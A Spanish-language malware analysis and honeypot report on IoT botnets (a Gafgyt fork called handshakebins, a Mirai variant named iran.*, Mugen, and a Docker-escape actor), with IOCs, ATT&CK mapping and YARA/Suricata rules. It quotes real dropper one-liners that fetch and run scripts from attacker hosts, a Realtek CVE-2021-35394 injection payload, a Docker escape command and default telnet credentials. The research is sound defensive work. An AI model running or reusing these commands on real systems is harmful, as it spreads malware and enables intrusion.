system_whitelist[175] = {
"init", "systemd", "systemd-journald", "sshd", "cron", "bash", ...
"docker", "containerd", "kubelet", "postgres", "nginx", "fail2ban", ...
"dbus-broker", "containerd-shim", "dockerd",
"kernal", "gnome", "ntp", "crypto", "kde"
};
Ningún Linux que yo conozca corre un proceso llamado kernal. La lista de arriba es la que usa un bot ARM para decidir qué procesos no matar cuando limpia el equipo que acaba de infectar: 170 nombres de servicios legítimos, para no romper la máquina de la que vive, y al final, agregados a mano, cinco que no son de nadie. Son cinco de los diecisiete nombres con los que el propio bot se disfraza. El killer tiene instrucciones de respetar a sus hermanos.
Lo sé porque el autor no despojó el binario de sus símbolos. Mi Cowrie recibió catorce binarios de este bot entre el 11 de septiembre y el 7 de octubre, todas desde el mismo servidor y todas con los nombres de función intactos: telnet_scanner, install_persistence, tls_cfkill, remove_persistence. Leerlo fue como leer el código fuente con la ortografía del autor. Esta entrega es sobre él y sobre los otros tres reclutadores que pasaron por el señuelo: lo que traían, cómo cambiaron mientras los miraba y cuánto de eso sabía la comunidad cuando llegaron.
1. Un binario que conserva sus nombres#
El instalador se llama handshakebins.sh y lo sirve 213.232.114.14, una máquina en xTom (AS3214) que Shodan muestra con FTP, SSH y HTTP abiertos y 181 CVE asociadas a las versiones de software que anuncia. El script recorre diecisiete nombres —telnetd, telnet, kworker, sshd, bash, getty, kernal, gnome, ntp, ext4, watchdogd, systemd, ntpd, login, dbus, kde, crypto—, baja cada uno con wget, con curl y con busybox wget, lo ejecuta y lo borra. Termina con history -c.
Los binarios son ELF de 32 bits para ARM, enlazados en estático contra uClibc, con la sección .comment firmada por GCC 3.3.2 (2003) y 4.1.2 (2007), la combinación típica de las toolchains cruzadas viejas con las que se siguen compilando bots IoT. VirusTotal los clasifica como trojan.gafgyt/tsunami, y el código lo confirma: es un fork de Gafgyt/Bashlite, una familia conocida desde 2014, con el código fuente filtrado poco después y recompilado desde entonces en cientos de variantes.
![Ficha de VirusTotal de b992e0488abed5c19f215626dee38cc4b7b92b918ab194e276924a462aa97c3f, nombre telnetd, 160,15 KB: 41 de 64 motores lo detectan; etiqueta popular trojan.gafgyt/tsunami; categorías trojan, dropper, worm; familias gafgyt, tsunami, mirai. Detecciones visibles: AhnLab-V3 Linux/Gafgyt.Gen20, AliCloud Backdoor:Linux/Gafgyt.ASH, ALYac Gen:Variant.Linux.Tsunami.3, Antiy-AVL Trojan/Linux.Mirai.b, Avast y AVG ELF:Gafgyt-CQ [Trj].](/posts/senuelo-botnets-de-alquiler/vt-b992e048.png)
Que conserve los símbolos no es un descuido menor. Un binario sin strip trae la tabla .symtab con el nombre de cada función y de cada variable global. Ghidra no tiene que adivinar qué hace sub_10a3c: la función se llama report_to_cnc y la variable que guarda el servidor, commServer. El trabajo de reversing se reduce a leer.
2. Catorce binarios en cuatro semanas#
El mismo inyector volvió quince días distintos y bajó lo que el servidor tuviera en ese momento. Como el instalador pide siempre los mismos nombres, cada visita es una foto de la versión vigente:
python3 -I scripts/handshakebins_versiones.py .
── handshakebins: versiones servidas desde 213.232.114.14 ── fecha ruta sha256 C2 killer comandos 2026-09-11 /telnetd 736952826077 64.89.160.222:55487 sí TCP UDP VSE STDHEX R6 L4RES HTTPSTOMP SCANON SCANOFF DEADMAN STOP 2026-09-11 /telnet cd9655a77201 64.89.160.222:55487 sí = 2026-09-11 /kworker 07c0a0af63dd 64.89.160.222:55487 sí = 2026-09-16 /nokillbins/telnetd 488cd4b95923 64.89.160.222:55487 no = 2026-09-16 /nokillbins/telnet 732e796d24da 64.89.160.222:55487 no = 2026-09-16 /nokillbins/kworker 4c463687adab 64.89.160.222:55487 no = 2026-09-20 /nokillbins/telnetd 941efe52eb85 64.89.160.222:55487 no = 2026-09-20 /nokillbins/telnet 387d6d1bc5b0 64.89.160.222:55487 no = 2026-09-20 /nokillbins/kworker bcfbd1d0c988 64.89.160.222:55487 no = 2026-10-02 /sshd 718ef7418c31 64.89.160.222:55487 sí = 2026-10-05 /nokillbins/telnetd 30e0cb05a8c2 64.89.160.222:55487 sí +FORTNITE +HOMEBYPASS +TLS-CFKILL -HTTPSTOMP 2026-10-05 /nokillbins/telnet dcac02c71bd6 64.89.160.222:55487 sí = 2026-10-05 /nokillbins/kworker 945afece38f1 64.89.160.222:55487 sí = 2026-10-07 /telnetd b992e0488abe 64.89.161.96:55487 sí +TLS-SPECIAL +HTTP +ICMP
Hay dos líneas en paralelo. La raíz del servidor sirve builds con killer; el directorio /nokillbins/ sirve builds sin él, y el nombre dice exactamente eso: las funciones start_killer, killer_loop e is_whitelisted desaparecen de la tabla de símbolos. No sé para qué quiere el autor una versión que no mata a la competencia. Puede ser para equipos donde el killer rompía algo o para clientes que lo pidieron así. Lo que sí veo es que el 5 de octubre /nokillbins/ empieza a servir binarios con killer: el directorio conservó el nombre y perdió el significado.
El 5 de octubre también cambia el menú: entran FORTNITE, HOMEBYPASS y TLS-CFKILL, y sale HTTPSTOMP. Dos días después aparece la última versión, con TLS-SPECIAL, HTTP e ICMP, y con un C2 nuevo, 64.89.161.96, en el mismo bloque y el mismo puerto que el anterior. El puerto, 55487, está escrito dos veces en el binario: dentro de la cadena commServer y como valor por defecto (0xd8bf) si la cadena no trae puerto.
3. El menú#
Gafgyt recibe órdenes como líneas de texto. La función processCmd compara la primera palabra contra una lista fija y, según cuál sea, lanza un ataque en un proceso hijo. En la última versión la lista es esta:
| Comando | Qué hace, según el código | Desde |
|---|---|---|
TCP, UDP, ICMP, STDHEX | inundaciones de capa 3/4 con parámetros de tamaño y tiempo | 11-sep (ICMP, 7-oct) |
VSE | inundación con TSource Engine Query, la consulta de los servidores de juegos de Valve | 11-sep |
R6, L4RES, FORTNITE | ataques con nombre de juego; por el nombre, Rainbow Six y Fortnite | 11-sep / 5-oct |
HOMEBYPASS (o HOME-BYPASS) | ataque contra conexiones domésticas | 5-oct |
HTTPSTOMP → HTTP | inundación HTTP; la versión vieja incluía la ruta /cdn-cgi/l/chk_captcha de Cloudflare | 11-sep → 7-oct |
TLS-CFKILL, TLS-SPECIAL | inundación HTTPS con una pila TLS propia | 5-oct / 7-oct |
SCANON, SCANOFF | enciende y apaga el escáner telnet | 11-sep |
STOP | mata todos los ataques en curso | 11-sep |
DEADMAN | autodestrucción (sección 5) | 11-sep |
Leído entero, el menú apunta a un cliente concreto. Casi nada de esto sirve para tumbar una empresa; sirve para echar a alguien de una partida o tirar la conexión de su casa. Es el catálogo típico de los booters o stressers, los servicios que venden minutos de ataque a quien quiera ganar una partida por las malas. No tengo forma de ver el panel donde se venden ni a quién, así que el título de esta entrega es una lectura del código, no una atribución.
Lo más trabajado del binario es TLS-CFKILL. El bot no enlaza OpenSSL: trae su propia implementación de X25519, AES-128 y HMAC-SHA256 (x25519_scalarmult, aes128_encrypt_block, hmac_sha256), arma el handshake a mano y, una vez establecida la sesión, manda hasta diez GET por conexión con cabeceras de navegador y uno de siete User-Agent de Chrome. Si corre como root lanza tres procesos; si no, uno. Por el nombre, el objetivo son sitios detrás de Cloudflare: la primera versión intentaba la ruta del captcha de Cloudflare en texto plano, la de octubre ya hace el handshake completo.
TLS-SPECIAL es casi la misma función, con una diferencia en el ClientHello. Con TLS-CFKILL el bot anuncia doce suites de cifrado y las extensiones que manda un navegador (session_ticket, ALPN, status_request); con TLS-SPECIAL anuncia once y omite esas tres. Son dos huellas JA3/JA4 distintas para el mismo ataque: si un filtro bloquea una, el operador cambia de comando. Los siete User-Agent, en cambio, son de Chrome 44 a 69, versiones de 2015 a 2018. Cualquier WAF que mire la versión del navegador los separa del tráfico real sin esfuerzo. El autor se tomó el trabajo de escribir una pila TLS y no el de actualizar una lista de cadenas.
4. Doce de ciento veintitrés#
El bot recluta por telnet. telnet_scanner genera IPv4 al azar, descarta solo cuatro rangos (10/8, 172.16/12, 192.168/16 y 127/8) y prueba los puertos 23 y 2323. El Mirai original evitaba además los rangos del Departamento de Defensa de EE. UU., de General Electric o de HP; este no se molesta.
Cuando encuentra un telnet abierto, recorre la tabla creds: manda el usuario, espera el prompt de contraseña, manda la contraseña y busca un prompt de shell. La tabla tiene 123 pares. Mezcla los clásicos de Mirai con contraseñas de fábrica de cámaras y grabadores: xmhdipc, 7ujMko0admin, klv123, hi3518, ipcam_rt5350. Pero en la condición del bucle hay un contador que se reinicia en cada host y corta en 12 (local_28 < 0xc):
── tabla creds de b992e0488abe: 123 pares ── se prueban por host (local_28 < 0xc): root:root, root:xc3511, root:vizxv, root:admin, admin:admin, admin:888888, root:default, root:juantech, admin:default, root:54321, support:support, root:(vacía) xmhdipc posición 89, 103 7ujMko0admin posición 88, 94 klv123 posición 91 hi3518 posición 98, 123 ipcam_rt5350 posición 121, 122
No encontré ninguna función que reordene la tabla, y el índice vuelve a cero en cada host, así que cada equipo recibe siempre los mismos doce pares, en el mismo orden. Las contraseñas de cámaras que alguien se tomó el trabajo de agregar están entre las posiciones 88 y 123, y el escáner nunca llega a ellas. Son 111 credenciales de peso muerto.
Con /var/sofia/ pasa algo parecido. Es el directorio del firmware de los DVR de Xiongmai, y aparece en is_whitelisted junto a /tmp/, /var/tmp/ y /dev/shm/. Parece la intención de tratar distinto a los procesos que corren desde ahí, pero, según el pseudocódigo, las dos ramas de esa comparación devuelven lo mismo: la línea no cambia nada. El bot tiene dos funciones pensadas para cámaras y grabadores chinos, y ninguna de las dos hace lo que su autor quería.
Cuando una credencial funciona, report_to_cnc abre una conexión nueva al C2 y manda una sola línea en texto plano:
REPORT <ip>:<usuario>:<contraseña>:<puerto>\n
Después le pega al equipo nuevo la línea de instalación que lleva embebida, la misma que le pegaron a mi Cowrie: cd /tmp || cd /var/run || cd /dev/shm || …; wget -q http://213.232.114.14/handshakebins.sh -O .s; chmod +x .s; ./.s; rm -f .s; history -c. El ciclo se cierra solo.
5. Cómo se queda y cómo se va#
install_persistence no elige un método; prueba siete, para cubrir desde un servidor con systemd hasta un router con OpenWrt:
- Una línea en
/etc/rc.localy/etc/rc.d/rc.local. - Un script
/etc/init.d/S99boty/etc/init.d/bot, registrado conupdate-rc.d bot defaults. - Una unidad
/etc/systemd/system/bot.serviceconDescription=systemd-udevd-worker, habilitada consystemctl enable bot.service. - Cron cada cinco minutos en
/etc/cron.d/root,/var/spool/cron/crontabs/root,/etc/crontabs/rooty/etc/crontab. /etc/profile.d/bot.shy líneas en.profile,.bash_profiley.bashrcde root./etc/config/botcon el encabezado#!/bin/sh /etc/rc.commonde OpenWrt.echo "<binario>" | at now + 1 minute, y una copia en/tmp/.kworker.
El disfraz de la unidad de systemd dura lo que tarda alguien en listar los servicios: la descripción dice systemd-udevd-worker, pero el archivo se llama bot.service. Lo mismo con el proceso: spoof_process_name lo renombra con uno de los diecisiete nombres del instalador, y la lista blanca del killer protege a quince de ellos.
El killer tiene sentido económico. Un equipo infectado con dos botnets rinde la mitad para cada una, así que el bot recorre /proc y mata todo lo que no esté en la lista blanca. Lo curioso es lo que la lista sí protege: docker, kubelet, postgres, nginx, fail2ban, iptables, clamd. El bot no quiere que el dueño note que algo se rompió. El instalador del 7 de octubre, en cambio, empieza con pkill iptables -9 y pkill firewall -9, y eso va contra la lista blanca y, además, no sirve para nada: las reglas de iptables viven en el kernel, no en un proceso, así que matar el binario no apaga el firewall. El script y el binario parecen escritos por personas distintas, o por la misma en días distintos.
Y está DEADMAN. Cuando el C2 manda esa palabra, el bot apaga el escáner, mata al killer y a todos los ataques en curso, llama a remove_persistence —que deshace uno por uno los siete mecanismos, incluido un sed que borra su propia línea de rc.local y de los perfiles de root—, borra su binario y sus copias en /tmp/.kworker, /var/tmp/.kworker y /dev/shm/.kworker, y termina. Es un botón para desaparecer sin dejar más rastro que los logs. Lo trae desde la primera versión que vi.
6. El repartidor#
Los catorce binarios llegaron de la misma IP, 94.154.43.69, en Storm Industries (AS219502, Países Bajos). ThreatFox la tenía registrada como C2 de Mirai desde el 3 de septiembre, ocho días antes de que me visitara por primera vez; AbuseIPDB le cuenta 7.094 reportes de 1.345 fuentes. Conmigo usó casi siempre la misma credencial, root:123, o admin:12345 desde el 20 de septiembre. El 16 de septiembre hizo además 63 intentos de login con 43 contraseñas distintas, y mi Cowrie, que aceptaba casi todo (ver la entrega II), rechazó solo dos.
En total fueron 702 eventos de SSH en quince días, entre el 11 de septiembre y el 7 de octubre. La línea de inyección prueba todos los transportes posibles, uno detrás de otro:
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://213.232.114.14/handshakebins.sh;
curl -o handshakebins.sh http://213.232.114.14/handshakebins.sh; busybox wget http://213.232.114.14/handshakebins.sh;
chmod 777 handshakebins.sh; sh handshakebins.sh; tftp 213.232.114.14 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 213.232.114.14; chmod 777 tftp2.sh; sh tftp2.sh; ftpg…
Que el inyector y el C2 sean máquinas distintas, en proveedores distintos, es la arquitectura normal de estas botnets: el que escanea se quema rápido en las listas de bloqueo y se reemplaza; el C2 se cuida. El C2 de septiembre, 64.89.160.222, está en Blatant Technologies (AS403005) y expone más de treinta puertos de proxy (1080, 3128, 8118…). Puede ser un proxy abierto reaprovechado como C2 o un C2 que además se alquila como proxy; con lo que tengo no lo distingo.
7. iran.*: un Mirai que avisa que no lo es#
El 29 de septiembre, a las 06:14, 64.177.48.23 entró con root:4carrier1, bajó un script cat.sh y se fue un minuto después. El script pide catorce arquitecturas a 45.32.215.222 —iran.x86_64, iran.aarch64, iran.mips, iran.sh4 y diez más— y ejecuta cada una con el argumento catloader. Bueno, casi cada una:
wget http://45.32.215.222/iran.aarch64 -O aarch64 || curl …; chmod 777 aarch64; ./aarch64catloader;
Falta un espacio. En un ARM de 64 bits, el binario nunca se ejecuta y la shell responde que ./aarch64catloader no existe. Ese error se repite en cada equipo ARM64 que este script toque.
Mi Cowrie bajó ocho de las catorce. Son Mirai sin símbolos pero con buena parte de las cadenas en claro, empezando por una que parece escrita para el analista: Not a mirai at all. Que una variante de Mirai lleve un mensaje negando ser Mirai no es raro; estas cadenas suelen funcionar como firma del autor, o como chiste interno. Lo que sí es menos común es que reciba órdenes en texto con ! (!kill, !selfrep telnet, !selfrep realtek, !openshell, !shellcmd, !update), más al estilo de Gafgyt que del protocolo binario de Mirai.
!selfrep realtek es la autopropagación por CVE-2021-35394, la inyección de comandos del servicio UDPServer del SDK de Realtek, en el puerto UDP 9034. La carga está en el binario tal cual:
orf; cd /tmp; /bin/busybox wget http://%s/mipsel; chmod 777 mipsel; ./mipsel selfrep.realtek; /bin/busybox wget http://%s/mips; chmod 777 mips; ./mips selfrep.realtek
El C2 es la misma IP que sirve los binarios, en el puerto 87. Tanto 64.177.48.23 como 45.32.215.222 están en Vultr (AS20473). La segunda expone además correo, DNS y web con certificado autofirmado, lo que parece más un servidor de hosting que una máquina montada para esto; puede ser un servidor comprometido, pero es hipótesis. ThreatFox no tenía ninguna de las dos.
8. Mugen y el nc de reserva#
El 4 de septiembre, 45.90.163.37 (Sapinet, Francia) entró con root:admin y pidió su instalador de una forma que no había visto en otra sesión:
printf 'GET /Mugen.sh HTTP/1.0\r\nHost: 45.90.163.37\r\n\r\n' | nc 45.90.163.37 80 | sed '1,/^\r*$/d' > Mugen.sh;
wget http://45.90.163.37/Mugen.sh; curl -O http://45.90.163.37/Mugen.sh; …
La primera línea es un cliente HTTP escrito a mano: arma la petición con printf, la manda con nc y borra las cabeceras de la respuesta con sed. Es el plan B para equipos que no tienen ni wget ni curl, que en el mundo de los routers son muchos. Después intenta los métodos normales por si acaso.
Mugen.sh pide dieciséis arquitecturas, copia cada una a un archivo llamado goonbakk y lo ejecuta con <arch>.payload como argumento. VirusTotal etiqueta el script como downloader.medusa/shell. No obtuve los binarios, así que no puedo confirmar la familia por el código. 45.90.163.37 es a la vez inyector y servidor de descarga; ThreatFox lo tiene como C2 y distribuidor de Mirai desde julio, y GreyNoise como escáner malicioso.
9. Dos puertas, una misma descarga#
El caso más instructivo es el más chico. El 28 de agosto, 45.198.224.26 (VPSVAULT.HOST, Suecia) entró por SSH con aluno:aluno —“alumno”, en portugués— y ejecutó:
cd /tmp; wget http://5.182.210.174/ok; curl -O http://5.182.210.174/ok; chmod +x ok; sh ok; rm -rf ok; rm -rf ok.1
ok baja doce binarios con nombres hexadecimales (4a0c85, 56b24b, 7e3764…) y ejecuta cada uno con el argumento bc. Me llegaron dos, uno ARM y uno x86-64. Son Mirai (trojan.mirai), y ambos llevan en claro, una al lado de la otra, la cadena kappadocia.net y la IP 141.98.10.50 (Host Baltic, Lituania), que en Shodan tiene el puerto 4444 abierto.
Lo interesante es lo que esa misma IP había hecho dieciocho días antes en el otro sensor. Entre el 10 y el 17 de agosto, 45.198.224.26 mandó 807 peticiones a la API de Docker expuesta, la mayoría POST /containers/create con Binds: ["/:/host"] y Privileged: true. Dentro de cada contenedor iba un comando en base64 que, decodificado, dice:
wget -O- http://5.182.210.174/ok | sh || curl -s http://5.182.210.174/ok | sh
Es la misma descarga del mismo servidor, intentada por dos servicios distintos en dos máquinas distintas. Por Docker la probó con varias formas de escape (chroot /host, chroot /mnt, chroot /hostfs, base64 -D por si el base64 del anfitrión era el de BSD o macOS…) sobre cuatro imágenes (alpine, busybox, ubuntu, debian). Volvieron después 45.198.224.27 (30 de agosto) y 45.198.224.125 (19 y 20 de octubre), del mismo bloque y con los mismos cuerpos. Entre medio, del 5 al 20 de septiembre, 16.5.0.236 usó las mismas plantillas —diecisiete variantes en total entre todas estas IPs—, unas apuntando a 5.182.210.174/ok y otras a un servidor distinto, 16.5.7.221/d.
Un escáner que entra por SSH y otro que entra por Docker suelen tratarse como dos actores distintos, porque llegan por servicios distintos y caen en tableros distintos. Aquí son el mismo, con un solo ok detrás. Los escapes de Docker los cuento en detalle en la entrega siguiente.
10. Lo que sabía la comunidad#
Crucé cada IP de esta entrega con ThreatFox, que reúne reportes de terceros sobre infraestructura de malware, y con la primera vez que yo la vi:
| IP | Rol en mi corpus | Primera vez en mi sensor | ThreatFox |
|---|---|---|---|
94.154.43.69 | inyector de handshakebins | 11-sep | C2 Mirai desde 3-sep |
213.232.114.14 | servidor de handshakebins | 11-sep | distribución Bashlite, 10-oct |
64.89.160.222 | C2 de handshakebins (septiembre) | 11-sep (en el binario) | C2 Bashlite/Tsunami desde 26-ago |
64.89.161.96 | C2 de handshakebins (octubre) | 7-oct (en el binario) | C2 Bashlite, 24-oct |
45.32.215.222 | servidor y C2 de iran.* | 29-sep | — |
45.90.163.37 | inyector y servidor de Mugen | 4-sep | C2 y distribución Mirai desde 8-jul |
5.182.210.174 | servidor de ok | 10-ago (Docker) | distribución Mirai, 6-ago |
141.98.10.50 | C2 de los binarios de ok | 28-ago (en el binario) | — |
En dos casos el honeypot vio antes que el feed: el servidor de handshakebins, un mes antes, y el C2 de octubre, diecisiete días antes. Ese C2 tiene todavía cero reportes en AbuseIPDB. En otros dos casos (45.32.215.222 y 141.98.10.50) no encontré ningún reporte en ThreatFox. Nada de esto significa que nadie más los viera; significa que nadie los publicó ahí antes que yo.
Con VirusTotal pasa algo parecido. De las cinco tandas de handshakebins que recibí, tres (11-sep, 5-oct y 7-oct) aparecen en VT con primera subida el mismo día en que llegaron a mi sensor. Las otras dos ya estaban. Yo no subí nada, así que esas subidas son de otros: otros honeypots, otras sandboxes, alguien que recibió la misma visita esa misma mañana. El 7 de octubre, a mi sensor y al de algún desconocido les tocó el mismo binario con horas de diferencia.
11. Indicadores#
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 94.154.43.69 | AS219502 Storm Industries · inyector de handshakebins · 11-sep → 7-oct |
| IPv4 | 213.232.114.14 | AS3214 xTom · distribución de handshakebins (HTTP, TFTP) |
| IPv4:puerto | 64.89.160.222:55487 | AS403005 Blatant Technologies · C2 handshakebins hasta 5-oct |
| IPv4:puerto | 64.89.161.96:55487 | AS403005 · C2 handshakebins desde 7-oct |
| IPv4 | 64.177.48.23 | AS20473 Vultr · inyector de iran.* · 29-sep |
| IPv4:puerto | 45.32.215.222:87 | AS20473 Vultr · distribución y C2 de iran.* |
| IPv4 | 45.90.163.37 | AS39421 Sapinet · inyector y distribución de Mugen.sh · 4-sep |
| IPv4 | 45.198.224.26, 45.198.224.27, 45.198.224.125 | AS215925 VPSVAULT.HOST · SSH + Docker hacia 5.182.210.174/ok |
| IPv4 | 16.5.0.236 → 16.5.7.221 | mismas plantillas de escape Docker, otro servidor de descarga |
| IPv4 | 5.182.210.174 | AS62068 SpectraIP · distribución de ok |
| IPv4 / dominio | 141.98.10.50, kappadocia.net | AS209605 Host Baltic · en claro en los binarios de ok |
| URL | http://213.232.114.14/handshakebins.sh, /nokillbins/handshakebins.sh | instaladores |
| URL | http://45.32.215.222/cat.sh, /iran.<arch> | instalador y binarios de iran.* |
| URL | http://45.90.163.37/Mugen.sh | instalador de Mugen |
| URL | http://5.182.210.174/ok, http://16.5.7.221/d | instaladores del actor de Docker |
| Ruta | /etc/systemd/system/bot.service (systemd-udevd-worker), /etc/init.d/S99bot, /etc/profile.d/bot.sh, /etc/config/bot, /tmp/.kworker | persistencia de handshakebins |
| Cadena | REPORT <ip>:<user>:<pass>:<port> | credenciales robadas enviadas al C2 |
| Cadena | Not a mirai at all, !selfrep realtek, catloader | iran.* |
SHA-256 de los binarios y scripts:
# handshakebins (ARM, Gafgyt/Bashlite)
73695282607747038a31f516e3f8310a67ae6f2f9e4a0b90b55a40f77272e559 /telnetd 11-sep
cd9655a77201f73e69953ec5b53f898de41983c1b4dcedd0c431955b9c20b241 /telnet 11-sep
07c0a0af63dde8dc2e36dc58b630dcad6563263e992877aaa704530afb8a5656 /kworker 11-sep
488cd4b95923b20587debbd1a747d9e04b85b3ff2b274e36660401e194576626 /nokillbins/telnetd 16-sep
732e796d24da151af2e4ad54d5706248aefe86686f83e5033c7ca8dd19e97954 /nokillbins/telnet 16-sep
4c463687adab59995dc46225c0df38a12da6ffd828b1a46a162e75ba604897ad /nokillbins/kworker 16-sep
941efe52eb858311653bf2c1e855555cf735896d500f11ea90aaf7e93d1faa3f /nokillbins/telnetd 20-sep
387d6d1bc5b00c60c64528c6b0ceb34fa7c4a83f6b8cf95f0526adb5cc57389d /nokillbins/telnet 20-sep
bcfbd1d0c98844ddd4795a6df4e6431a494a0320c72413f188b50140cd30f506 /nokillbins/kworker 20-sep
718ef7418c3114a560c8d7a6c09691ead65ce59ac28bf80708f440311564807d /sshd 2-oct
30e0cb05a8c207c4084adaeb2906cbb8119b3d638999a73d4635e333e09cc0f6 /nokillbins/telnetd 5-oct
dcac02c71bd67e7ce708e2fad709059b817ebdde9796542ef16855de5c7b9a41 /nokillbins/telnet 5-oct
945afece38f108d7c1c5c71e785fbf452f7de803ca1f207e6eae1f9dd3d5ae80 /nokillbins/kworker 5-oct
b992e0488abed5c19f215626dee38cc4b7b92b918ab194e276924a462aa97c3f /telnetd 7-oct
7b1cbba56bb80e185cdf2097f5716c31d7e0f88f28ad7220b3b5a2cf73859ec8 handshakebins.sh
586960df8bf559ffbba600f11917a99baed4a875cb7faa5eabc060bcde67277b nokillbins/handshakebins.sh
0fad00ddec16b67f3131aa4efffbe32d78fca178407895920b7549667d7bbfbf handshakebins.sh 7-oct (pkill iptables)
# iran.* (Mirai)
eb2e0b6edf878e51c9f8895ed7502f9718b076f410607ce0c939d8feeffca60d cat.sh
84b352b314d71d6887ef94b8094bbb4c6cbcb409e52ee748dca7583b8f75002a iran.x86_64
a0e7e5b25346340da9e58ac4fe8691409f8dbc99d1e2aa3f496c3f9b10016d8c iran.aarch64
d1f0d6f767c5385b7129e9bf95bf9a769b8066e8709b0be045411e1bc895ebfb iran.m68k
553855b485206d2cbe0756235116ce329b5185c4a40092bb1707ffdc9da26d5a iran.mips
64690dd19373b5df539d66e64e39dbbd51b2734e35143d53c223a19bfea74f50 iran.mipsel
9e4cbff8e55bcd3dd88b9df12f3c4333dfc08c5ceaa174e2f40bb163d4783cb6 iran.powerpc
b5c517046323ddc8baaeec0a67cd1f3fc2b84bb3ea4b1db74bb55c382fa93a01 iran.sparc
a038aad92c5375a1b7dcf2a4f0e6a4cadc05cfa552f42157f4a53baf588f4392 iran.sh4
# Mugen
d297569fc63ec7336886f5e5e9c451c4560bc888d116a9db7706ff90ff44f77d Mugen.sh
# ok (5.182.210.174)
9bc1079e4922b6bcb22defd973170b7e3cb406957adf3ce6dec3478183b496a0 ok
b595ef9ca4756a07bc83027a943009cb947d03c4c261a3e4cc3bec467b43c203 4a0c85 (ARM)
bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 7e3764 (x86-64)
12. MITRE ATT&CK#
| Táctica | Técnica | Dónde |
|---|---|---|
| Acceso inicial | T1078 Cuentas válidas | root:123, aluno:aluno, root:4carrier1 contra mi Cowrie |
| Acceso a credenciales | T1110.001 Fuerza bruta: adivinación de contraseñas | telnet_scanner (doce pares por host) |
| Movimiento lateral | T1210 Explotación de servicios remotos | !selfrep realtek (CVE-2021-35394) |
| Ejecución | T1059.004 Shell de Unix | todos los instaladores |
| Comando y control | T1105 Transferencia de herramientas | wget, curl, busybox wget, tftp, ftpget, printf | nc |
| Comando y control | T1571 Puerto no estándar | C2 en 55487 y 87 |
| Exfiltración | T1041 Exfiltración por el canal de C2 | REPORT ip:user:pass:port |
| Persistencia | T1543.002 Servicio de systemd | bot.service |
| Persistencia | T1037.004 Scripts RC | rc.local, S99bot, /etc/config/bot |
| Persistencia | T1053.003 / T1053.002 Cron / At | */5 * * * *, at now + 1 minute |
| Persistencia | T1546.004 Modificación de la configuración de la shell | profile.d/bot.sh, .profile, .bashrc |
| Evasión de defensas | T1036.005 Enmascaramiento: nombre legítimo | kworker, sshd, systemd-udevd-worker |
| Evasión de defensas | T1070.003 / T1070.004 Borrar historial / archivos | history -c, rm -rf, DEADMAN |
| Evasión de defensas | T1562.004 Desactivar el firewall | pkill iptables -9 (sin efecto real) |
| Escalada de privilegios | T1611 Escape al anfitrión | Docker con Binds /:/host y Privileged |
| Impacto | T1498.001 / T1499.002 Inundación directa / de servicio | menú de ataques, TLS-CFKILL |
13. Detección#
Las tres reglas YARA siguientes las probé contra todo lo que guardaron los sensores: 47.941 archivos únicos, incluidos cuerpos de peticiones y descargas crudas. Cada una coincidió solo con su familia (14 binarios de handshakebins, 3 instaladores y 8 binarios de iran.*) y con nada más.
rule HP_Handshakebins_Bot
{
meta:
description = "Fork de Gafgyt/Bashlite para ARM distribuido como handshakebins (sep-oct 2026)"
author = "Dust (fennek.org)"
reference = "https://fennek.org/posts/senuelo-botnets-de-alquiler/"
hash1 = "73695282607747038a31f516e3f8310a67ae6f2f9e4a0b90b55a40f77272e559"
hash2 = "b992e0488abed5c19f215626dee38cc4b7b92b918ab194e276924a462aa97c3f"
strings:
$cmd1 = "DEADMAN" ascii fullword
$cmd2 = "HOMEBYPASS" ascii fullword
$cmd3 = "TLS-CFKILL" ascii fullword
$cmd4 = "HTTPSTOMP" ascii fullword
$cmd5 = "L4RES" ascii fullword
$per1 = "Description=systemd-udevd-worker" ascii
$per2 = "/etc/init.d/S99bot" ascii
$per3 = "/etc/profile.d/bot.sh" ascii
$per4 = "cp %s /tmp/.kworker" ascii
$per5 = "| at now + 1 minute" ascii
$wl = "/var/sofia/" ascii
$dl = "/handshakebins.sh" ascii
condition:
uint32(0) == 0x464c457f and filesize < 1MB and
(
($dl and 1 of ($per*)) or
(3 of ($per*) and 2 of ($cmd*)) or
($wl and 2 of ($per*) and 1 of ($cmd*))
)
}
rule HP_Handshakebins_Dropper
{
meta:
description = "Instalador de las 17 variantes de handshakebins con nombres de procesos del sistema"
author = "Dust (fennek.org)"
hash1 = "7b1cbba56bb80e185cdf2097f5716c31d7e0f88f28ad7220b3b5a2cf73859ec8"
strings:
$nav = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;" ascii
$n1 = "chmod +x kernal; ./kernal" ascii
$n2 = "chmod +x watchdogd; ./watchdogd" ascii
$n3 = "chmod +x crypto; ./crypto" ascii
$n4 = "chmod +x kworker; ./kworker" ascii
$end = "history -c" ascii
condition:
filesize < 64KB and $nav and 3 of ($n*) and $end
}
rule HP_Iran_Mirai_Variant
{
meta:
description = "Variante de Mirai con comandos de texto y autopropagación por Realtek SDK (CVE-2021-35394), servida como iran.<arch>"
author = "Dust (fennek.org)"
hash1 = "84b352b314d71d6887ef94b8094bbb4c6cbcb409e52ee748dca7583b8f75002a"
strings:
$s1 = "Not a mirai at all" ascii
$s2 = "!selfrep realtek" ascii
$s3 = "!selfrep telnet" ascii
$s4 = "./mipsel selfrep.realtek" ascii
$s5 = "!openshell" ascii
$s6 = "!shellcmd" ascii
condition:
uint32(0) == 0x464c457f and filesize < 2MB and 3 of them
}
En la red, lo más útil es que el bot entrega las credenciales robadas en texto plano. La tercera regla es genérica para CVE-2021-35394 y probablemente repite firmas comerciales; la dejo porque es la que habría visto el tráfico de !selfrep realtek:
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"handshakebins: credenciales robadas enviadas al C2 (REPORT)"; flow:to_server,established; content:"REPORT "; startswith; pcre:"/^REPORT \d{1,3}(\.\d{1,3}){3}:[^:\r\n]{0,64}:[^:\r\n]{0,64}:\d{1,5}\n/"; classtype:trojan-activity; sid:9115020; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"handshakebins: descarga del instalador"; flow:to_server,established; http.uri; content:"/handshakebins.sh"; endswith; classtype:trojan-activity; sid:9115021; rev:1;)
alert udp any any -> $HOME_NET 9034 (msg:"Realtek SDK UDPServer: inyeccion de comandos (CVE-2021-35394)"; content:"orf|3b|"; startswith; reference:cve,2021-35394; classtype:attempted-admin; sid:9115022; rev:1;)
